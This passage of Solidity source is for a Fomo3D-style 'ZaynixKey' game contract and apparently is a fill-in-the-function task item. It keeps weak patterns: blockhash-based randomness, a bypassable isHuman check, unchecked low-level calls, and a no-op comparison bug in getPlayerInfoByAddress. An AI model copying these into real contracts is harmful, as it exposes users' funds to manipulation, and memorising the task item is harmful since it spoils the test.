plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); // calculate & return dust return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } /** * @dev adds up unmasked earnings, & vault earnings, sets them all to 0 * @return earnings in wei format */ function withdrawEarnings(uint256 _pID) private returns(uint256) { // update gen vault updateGenVault(_pID, plyr_[_pID].lrnd); // from vaults uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } /** * @dev prepares compression data and fires event for buy or reload tx's */ function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, ZaynixKeyDatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit ZaynixKeyevents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.ZaynixKeyAmount, _eventData_.genAmount, _eventData_.potAmount ); } //============================================================================== // (~ _ _ _._|_ . // _)(/_(_|_|| | | \/ . //====================/========================================================= /** upon contract deploy, it will be deactivated. this is a one time * use function that will activate the contract. we do this so devs * have time to set things up on the web end **/ bool public activated_ = false; function activate() public { // only team just can activate require(msg.sender == admin); // can only be ran once require(activated_ == false); // activate the contract activated_ = true; // lets start first round rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } }
contract ZaynixKey is ZaynixKeyevents { using SafeMath for *; using NameFilter for string; using KeysCalc for uint256; PlayerBookInterface private PlayerBook; //============================================================================== // _ _ _ |`. _ _ _ |_ | _ _ . // (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings) //=================_|=========================================================== address private admin = msg.sender; address private flushDivs; string constant public name = "ZaynixKey"; string constant public symbol = "ZaynixKey"; uint256 private rndExtra_ = 1 minutes; // length of the very first ICO uint256 private rndGap_ = 1 minutes; // length of ICO phase, set to 1 year for EOS. uint256 private rndInit_ = 25 hours; // round timer starts at this uint256 constant private rndInc_ = 300 seconds; // every full key purchased adds this much to the timer uint256 private rndMax_ = 72 hours; // max length a round timer can be uint256[6] private timerLengths = [30 minutes,60 minutes,120 minutes,360 minutes,720 minutes,1440 minutes]; //============================================================================== // _| _ _|_ _ _ _ _|_ _ . // (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes) //=============================|================================================ uint256 public rID_; // round id number / total rounds that have happened //**************** // PLAYER DATA //**************** mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => ZaynixKeyDatasets.Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (uint256 => ZaynixKeyDatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own) //**************** // ROUND DATA //**************** mapping (uint256 => ZaynixKeyDatasets.Round) public round_; // (rID => data) round data mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id //**************** // TEAM FEE DATA //**************** mapping (uint256 => ZaynixKeyDatasets.TeamFee) public fees_; // (team => fees) fee distribution by team mapping (uint256 => ZaynixKeyDatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team //============================================================================== // _ _ _ __|_ _ __|_ _ _ . // (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy) //============================================================================== constructor(address whaleContract, address playerbook) public { flushDivs = whaleContract; PlayerBook = PlayerBookInterface(playerbook); //no teams... only ZaynixKey-heads // Referrals / Community rewards are mathematically designed to come from the winner's share of the pot. fees_[0] = ZaynixKeyDatasets.TeamFee(49,10); //30% to pot, 10% to aff, 1% to dev, potSplit_[0] = ZaynixKeyDatasets.PotSplit(15,10); //48% to winner, 25% to next round, 2% to dev } //============================================================================== // _ _ _ _|. |`. _ _ _ . // | | |(_)(_||~|~|(/_| _\ . (these are safety checks) //============================================================================== /** * @dev used to make sure no one can interact with contract until it has * been activated. */ modifier isActivated() { require(activated_ == true); _; } /** * @dev prevents contracts from interacting with fomo3d */ modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0); require(_addr == tx.origin); _; } /** * @dev sets boundaries for incoming tx */ modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000); require(_eth <= 100000000000000000000000); _; } <FILL_FUNCTION> /** * @dev converts all incoming ethereum to keys. * -functionhash- 0x8f38f309 (using ID for affiliate) * -functionhash- 0x98a0871d (using address for affiliate) * -functionhash- 0xa65b37a1 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee */ function buyXid(uint256 _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not ZaynixKeyDatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // buy core buyCore(_pID, _affCode, _eventData_); } function buyXaddr(address _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not ZaynixKeyDatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // buy core buyCore(_pID, _affID, _eventData_); } function buyXname(bytes32 _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not ZaynixKeyDatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // buy core buyCore(_pID, _affID, _eventData_); } /** * @dev essentially the same as buy, but instead of you sending ether * from your wallet, it uses your unwithdrawn earnings. * -functionhash- 0x349cdcac (using ID for affiliate) * -functionhash- 0x82bfc739 (using address for affiliate) * -functionhash- 0x079ce327 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _eth amount of earnings to use (remainder returned to gen vault) */ function reLoadXid(uint256 _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data ZaynixKeyDatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // reload core reLoadCore(_pID, _affCode, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data ZaynixKeyDatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // reload core reLoadCore(_pID, _affID, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data ZaynixKeyDatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // reload core reLoadCore(_pID, _affID, _eth, _eventData_); } /** * @dev withdraws all of your earnings. * -functionhash- 0x3ccfd60b */ function withdraw() isActivated() isHuman() public { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // setup temp var for player eth uint256 _eth; // check to see if round has ended and no one has run round end yet if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // set up our tx event data ZaynixKeyDatasets.EventReturns memory _eventData_; // end the round (distributes pot) round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire withdraw and distribute event emit ZaynixKeyevents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.ZaynixKeyAmount, _eventData_.genAmount ); // in any other situation } else { // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // fire withdraw event emit ZaynixKeyevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } /** * @dev use these to register names. they are just wrappers that will send the * registration requests to the PlayerBook contract. So registering here is the * same as registering there. UI will always display the last name you registered. * but you will still own all previously registered names to use as affiliate * links. * - must pay a registration fee. * - name must be unique * - names will be converted to lowercase * - name cannot start or end with a space * - cannot have more than 1 space in a row * - cannot be only numbers * - cannot start with 0x * - name must be at least 1 char * - max length of 32 characters long * - allowed characters: a-z, 0-9, and space * -functionhash- 0x921dec21 (using ID for affiliate) * -functionhash- 0x3ddd4698 (using address for affiliate) * -functionhash- 0x685ffd83 (using name for affiliate) * @param _nameString players desired name * @param _affCode affiliate ID, address, or name of who referred you * @param _all set to true if you want this to push your info to all games * (this might cost a lot of gas) */ function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit ZaynixKeyevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit ZaynixKeyevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit ZaynixKeyevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } //============================================================================== // _ _ _|__|_ _ _ _ . // (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan) //=====_|======================================================================= /** * @dev return the price buyer will pay for next 1 individual key. * -functionhash- 0x018a25e8 * @return price for next key bought (in wei format) */ function getBuyPrice() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else // rounds over. need price for new round return ( 75000000000000 ); // init } /** * @dev returns time left. dont spam this, you'll ddos yourself from your node * provider * -functionhash- 0xc7e284b8 * @return time left in seconds */ function getTimeLeft() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } /** * @dev returns player earnings per vaults * -functionhash- 0x63066434 * @return winnings vault * @return general vault * @return affiliate vault */ function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { // setup local rID uint256 _rID = rID_; // if round has ended. but round end has not been run (so contract has not distributed winnings) if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // if player is winner if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); // if player is not the winner } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } // if round is still going on, or round has ended and round end has been ran } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } /** * solidity hates stack limits. this lets us avoid that hate */ function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } /** * @dev returns all current round info needed for front end * -functionhash- 0x747dff42 * @return eth invested during ICO phase * @return round id * @return total keys for round * @return time round ends * @return time round started * @return current pot * @return current team ID & player ID in lead * @return current player in leads address * @return current player in leads name * @return whales eth in for round * @return bears eth in for round * @return sneks eth in for round * @return bulls eth in for round */ function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; return ( round_[_rID].ico, //0 _rID, //1 round_[_rID].keys, //2 round_[_rID].end, //3 round_[_rID].strt, //4 round_[_rID].pot, //5 (round_[_rID].team + (round_[_rID].plyr * 10)), //6 plyr_[round_[_rID].plyr].addr, //7 plyr_[round_[_rID].plyr].name, //8 rndTmEth_[_rID][0], //9 rndTmEth_[_rID][1], //10 rndTmEth_[_rID][2], //11 rndTmEth_[_rID][3] //12 ); } /** * @dev returns player info based on address. if no address is given, it will * use msg.sender * -functionhash- 0xee0b5d8b * @param _addr address of the player you want to lookup * @return player ID * @return player name * @return keys owned (current round) * @return winnings vault * @return general vault * @return affiliate vault * @return player round eth */ function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, //0 plyr_[_pID].name, //1 plyrRnds_[_pID][_rID].keys, //2 plyr_[_pID].win, //3 (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4 plyr_[_pID].aff, //5 plyrRnds_[_pID][_rID].eth //6 ); } //============================================================================== // _ _ _ _ | _ _ . _ . // (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine) //=====================_|======================================================= /** * @dev logic runs whenever a buy order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function buyCore(uint256 _pID, uint256 _affID, ZaynixKeyDatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // call core core(_rID, _pID, msg.value, _affID, 0, _eventData_); // if round is not active } else { // check to see if end round needs to be ran if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit ZaynixKeyevents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.ZaynixKeyAmount, _eventData_.genAmount ); } // put eth in players vault plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } /** * @dev logic runs whenever a reload order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, ZaynixKeyDatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // get earnings from all vaults and return unused to gen vault // because we use a custom safemath library. this will throw if player // tried to spend more eth than they have. plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); // call core core(_rID, _pID, _eth, _affID, 0, _eventData_); // if round is not active and end round needs to be ran } else if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit ZaynixKeyevents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.ZaynixKeyAmount, _eventData_.genAmount ); } } /** * @dev this is the core logic for any buy/reload that happens while a round * is live. */ function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, ZaynixKeyDatasets.EventReturns memory _eventData_) private { // if player is new to round if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); // early round eth limiter if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 5000000000000000000) { uint256 _availableLimit = (5000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } // if eth left is greater than min eth allowed (sorry no pocket lint) if (_eth > 1000000000) { // mint the new keys uint256 _keys = (round_[_rID].eth).keysRec(_eth); // if they bought at least 1 whole key if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); // set new leaders if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; // set the new leader bool to true _eventData_.compressedData = _eventData_.compressedData + 100; } // update player plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); // update round round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][0] = _eth.add(rndTmEth_[_rID][0]); // distribute eth _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, 0, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, 0, _keys, _eventData_); // call end tx function to fire end tx event. endTx(_pID, 0, _eth, _keys, _eventData_); } } //============================================================================== // _ _ | _ | _ _|_ _ _ _ . // (_(_||(_|_||(_| | (_)| _\ . //============================================================================== /** * @dev calculates unmasked earnings (just calculates, does not update mask) * @return earnings in wei format */ function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } /** * @dev returns the amount of keys you would get given an amount of eth. * -functionhash- 0xce89c80c * @param _rID round ID you want price for * @param _eth amount of eth sent in * @return keys received */ function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else // rounds over. need keys for new round return ( (_eth).keys() ); } /** * @dev returns current eth price for X keys. * -functionhash- 0xcf808000 * @param _keys number of keys desired (in 18 decimal format) * @return amount of eth needed to send */ function iWantXKeys(uint256 _keys) public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else // rounds over. need price for new round return ( (_keys).eth() ); } //============================================================================== // _|_ _ _ | _ . // | (_)(_)|_\ . //============================================================================== /** * @dev receives name/player info from names contract */ function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook)); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev receives entire player name list */ function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook)); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev gets existing or registers new pID. use this when a player may be new * @return pID */ function determinePID(ZaynixKeyDatasets.EventReturns memory _eventData_) private returns (ZaynixKeyDatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; // if player is new to this version of fomo3d if (_pID == 0) { // grab their player ID, name and last aff ID, from player names contract _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); // set up player account pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; // set the new player bool to true _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } /** * @dev decides if round end needs to be run & new round started. and if * player unmasked earnings from previously played rounds need to be moved. */ function managePlayer(uint256 _pID, ZaynixKeyDatasets.EventReturns memory _eventData_) private returns (ZaynixKeyDatasets.EventReturns) { // if player has played a previous round, move their unmasked earnings // from that round to gen vault. if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); // update player's last round played plyr_[_pID].lrnd = rID_; // set the joined round bool to true _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } /** * @dev ends the round. manages paying out winner/splitting up pot */ function endRound(ZaynixKeyDatasets.EventReturns memory _eventData_) private returns (ZaynixKeyDatasets.EventReturns) { // setup local rID uint256 _rID = rID_; // grab our winning player and team id's uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; // grab our pot amount uint256 _pot = round_[_rID].pot; // calculate our winner share, community rewards, gen share, // p3d share, and amount reserved for next pot uint256 _win = (_pot.mul(48)) / 100; //48% uint256 _dev = (_pot / 50); //2% uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; //15 uint256 _ZaynixKey = (_pot.mul(potSplit_[_winTID].ZaynixKey)) / 100; // 10 uint256 _res = (((_pot.sub(_win)).sub(_dev)).sub(_gen)).sub(_ZaynixKey); //25 // calculate ppt for round mask uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } // pay our winner plyr_[_winPID].win = _win.add(plyr_[_winPID].win); // community rewards admin.transfer(_dev); flushDivs.call.value(_ZaynixKey)(bytes4(keccak256("donate()"))); // distribute gen portion to key holders round_[_rID].mask = _ppt.add(round_[_rID].mask); // prepare event data _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.ZaynixKeyAmount = _ZaynixKey; _eventData_.newPot = _res; // start next round rID_++; _rID++; round_[_rID].strt = now; rndMax_ = timerLengths[determineNextRoundLength()]; round_[_rID].end = now.add(rndMax_); round_[_rID].pot = _res; return(_eventData_); } function determineNextRoundLength() internal view returns(uint256 time) { uint256 roundTime = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1)))) % 6; return roundTime; } /** * @dev moves any unmasked earnings to gen vault. updates earnings mask */ function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { // put in gen vault plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); // zero out their earnings by updating mask plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } /** * @dev updates round timer based on number of whole keys bought. */ function updateTimer(uint256 _keys, uint256 _rID) private { // grab time uint256 _now = now; // calculate time based on number of keys bought uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); // compare to max and set new end time if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } /** * @dev distributes eth based on fees to com, aff, and ZaynixKey */ function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, ZaynixKeyDatasets.EventReturns memory _eventData_) private returns(ZaynixKeyDatasets.EventReturns) { // pay 1% out to dev uint256 _dev = _eth / 100; // 1% uint256 _ZaynixKey = 0; if (!address(admin).call.value(_dev)()) { _ZaynixKey = _dev; _dev = 0; } // distribute share to affiliate uint256 _aff = _eth / 10; // decide what to do with affiliate share of fees // affiliate must not be self, and must have a name registered if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit ZaynixKeyevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _ZaynixKey = _ZaynixKey.add(_aff); } // pay out ZaynixKey _ZaynixKey = _ZaynixKey.add((_eth.mul(fees_[_team].ZaynixKey)) / (100)); if (_ZaynixKey > 0) { // deposit to divies contract //uint256 _potAmount = _ZaynixKey / 2; flushDivs.call.value(_ZaynixKey)(bytes4(keccak256("donate()"))); //round_[_rID].pot = round_[_rID].pot.add(_potAmount); // set up event data _eventData_.ZaynixKeyAmount = _ZaynixKey.add(_eventData_.ZaynixKeyAmount); } return(_eventData_); } function potSwap() external payable { //you shouldn't be using this method admin.transfer(msg.value); } /** * @dev distributes eth based on fees to gen and pot */ function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, ZaynixKeyDatasets.EventReturns memory _eventData_) private returns(ZaynixKeyDatasets.EventReturns) { // calculate gen share uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; // update eth balance (eth = eth - (com share + pot swap share + aff share + p3d share + airdrop pot share)) _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].ZaynixKey)) / 100)); // calculate pot uint256 _pot = _eth.sub(_gen); // distribute gen share (thats what updateMasks() does) and adjust // 